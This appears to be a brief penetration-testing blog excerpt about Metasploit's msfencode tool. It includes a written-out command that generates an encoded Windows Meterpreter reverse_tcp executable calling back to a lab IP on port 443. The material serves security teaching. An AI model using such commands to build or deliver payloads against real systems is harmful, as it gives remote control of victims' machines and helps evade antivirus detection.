In Revision 7315 of the Metasploit Framework (SVN) a new option was added to MSFENCODE. Technically you always had the ability to do the following, but it required a bit of knowledge of the inner workings of the framework.
But before I get into the new feature, lets quickly go over the standard way you use msfencode:
root@bt4:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.92.131 LPORT=443 R | ./msfencode -t exe -o /tmp/bob.exe [*] x86/shikata_ga_nai succeeded with size 318 (iteration=1) root@bt4:/pentest/exploits/framework3# We just used MSFPAYLOAD to output in [R]AW format, a reverse tcp connect meterpreter payload.
↧